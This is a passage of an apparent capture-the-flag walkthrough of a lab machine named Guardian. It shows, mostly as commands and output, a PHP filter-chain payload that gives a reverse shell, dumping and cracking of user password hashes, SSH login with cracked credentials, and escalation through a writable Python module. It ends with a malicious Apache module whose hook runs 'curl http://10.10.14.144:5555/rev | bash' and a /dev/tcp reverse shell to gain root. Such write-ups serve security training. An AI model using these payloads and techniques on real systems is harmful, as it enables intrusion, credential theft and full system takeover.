de%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ECSIBM1161%2EUNICODE%7Cconvert%2Eiconv%2EISO%2DIR%2D156%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EINIS%2EUTF16%7Cconvert%2Eiconv%2ECSIBM1133%2EIBM943%7Cconvert%2Eiconv%2EIBM932%2ESHIFT%5FJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2ESE2%2EUTF%2D16%7Cconvert%2Eiconv%2ECSIBM1161%2EIBM%2D932%7Cconvert%2Eiconv%2EMS932%2EMS936%7Cconvert%2Eiconv%2EBIG5%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Ebase64%2Ddecode%2Fresource%3Dphp%3A%2F%2Ftemp%2fenrollment.php
Create a notice with this reference link. Wait.
We get a reverse shell as www-data.
Post-exploitation as www-data
pwd
/var/www/portal.guardian.htb/admin
ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Jul 30 14:59 .
drwxr-xr-x 20 root root 4096 Jul 14 16:57 ..
drwxr-x--- 3 gitea gitea 4096 Jul 14 16:57 gitea
drwxr-x--- 3 jamil jamil 4096 Jul 14 16:57 jamil
drwxr-x--- 4 mark mark 4096 Jul 14 16:57 mark
drwxr-x--- 6 sammy sammy 4096 Sep 8 14:29 sammy
Upgrade shell to a full TTY.
Connect to MySQL:
mysql -h 127.0.0.1 -u root -p guardiandb
Enter password: Gu4rd14n_un1_1s_th3_b3st.
show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments |
| courses |
| enrollments |
| grades |
| messages |
| notices |
| programs |
| submissions |
| users |
+----------------------+
select * from users;
SELECT CONCAT(username, ':', password_hash) AS user_pass FROM users WHERE user_role != 'student';
+-------------------------------------------------------------------------------------+
| user_pass |
+-------------------------------------------------------------------------------------+
| admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter:8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby:1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin:7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon:4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth:23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat:c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge:9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy:ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek:18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite:b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
+-------------------------------------------------------------------------------------+
From source code, when users register, this is done:
$password = hash('sha256', $password . $salt);
Build hash input lines:
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
mark.pargetter:8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
valentijn.temby:1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6:8Sb)tM1vs1SS
leyla.rippin:7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61:8Sb)tM1vs1SS
perkin.fillon:4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471:8Sb)tM1vs1SS
cyrus.booth:23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6:8Sb)tM1vs1SS
sammy.treat:c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
crin.hambidge:9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75:8Sb)tM1vs1SS
myra.galsworthy:ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4:8Sb)tM1vs1SS
mireielle.feek:18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3:8Sb)tM1vs1SS
vivie.smallthwaite:b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a:8Sb)tM1vs1SS
Put them in file hash.
./hashcat/hashcat -a 0 -m 1410 ./hash ./rockyou.txt --username
./hashcat/hashcat -a 0 -m 1410 ./hash ./rockyou.txt --username --show
We get:
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
SSH in:
ssh jamil@guardian.htb
Password: copperhouse56.
We get shell as jamil.
Privilege escalation: jamil -> mark
sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
ls -la /opt/scripts/utilities/
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 .
drwxr-xr-x 3 root root 4096 Jul 12 15:10 ..
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py
drwxrwsr-x 2 root root 4096 Jul 10 14:20 utils
cat /opt/scripts/utilities/utilities.py
We notice:
from utils import db
from utils import attachments
from utils import logs
from utils import status
ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 09:45 status.py
id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
jamil is in group admins, so we can modify status.py.
Put this at the beginning of status.py:
import os
os.system("/bin/bash")
Run:
sudo -u mark /opt/scripts/utilities/utilities.py
We get a shell as mark.
Privilege escalation: mark -> root
sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
file /usr/local/bin/safeapache2ctl
/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped
Download it to attacker machine and open in Ghidra.
Run it on victim:
sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
From Ghidra, main is:
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
char *pcVar2;
FILE *__stream;
long in_FS_OFFSET;
char line_buf [1024];
char resolved_name [4104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 == 3) {
iVar1 = strcmp((char *)param_2[1],"-f");
if (iVar1 == 0) {
pcVar2 = realpath((char *)param_2[2],resolved_name);
if (pcVar2 == (char *)0x0) {
perror("realpath");
}
else {
iVar1 = starts_with(resolved_name,"/home/mark/confs/");
if (iVar1 == 0) {
fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");
}
else {
__stream = fopen(resolved_name,"r");
if (__stream == (FILE *)0x0) {
perror("fopen");
}
else {
do {
pcVar2 = fgets(line_buf,1024,__stream);
if (pcVar2 == (char *)0x0) {
fclose(__stream);
execl("/usr/sbin/apache2ctl","apache2ctl","-f",resolved_name,0);
perror("execl failed");
goto LAB_00101663;
}
iVar1 = is_unsafe_line(line_buf);
} while (iVar1 == 0);
fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);
fclose(__stream);
}
}
}
goto LAB_00101663;
}
}
fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",*param_2);
LAB_00101663:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
}
So we must provide a config file in /home/mark/confs/.
But we can create a file there.
It executes:
execl("/usr/sbin/apache2ctl","apache2ctl","-f",resolved_name,0);
Which effectively runs:
apache2 -f resolved_name
Idea: load a malicious module that triggers a reverse shell.
Create mymodule.c with this content:
#include <httpd.h>
#include <http_config.h>
#include <http_protocol.h>
#include <ap_config.h>
static void helloworld_register_hooks(apr_pool_t *p)
{
system("curl http://10.10.14.144:5555/rev | bash");
}
/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA helloworld_module = {
STANDARD20_MODULE_STUFF,
NULL, /* create per-dir config structures */
NULL, /* merge per-dir config structures */
NULL, /* create per-server config structures */
NULL, /* merge per-server config structures */
NULL, /* table of config file commands */
helloworld_register_hooks /* register hooks */
};
Compile module:
gcc -I/usr/include/apache2 -I/usr/include/apr-1.0 -shared -o mymodule.so -fPIC mymodule.c
We get executable binary mymodule.so.
Upload it to victim at /dev/shm.
On attacker machine, create file rev with content:
bash -i >& /dev/tcp/10.10.14.144/4444 0>&1
Start listeners:
nc -vlnp 4444
python3 -m http.server 5555
On victim, create config file with malicious directive that loads our module:
echo 'LoadModule helloworld_module /dev/shm/mymodule.so' > /home/mark/confs/file.conf
Run:
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
We get a reverse shell as root.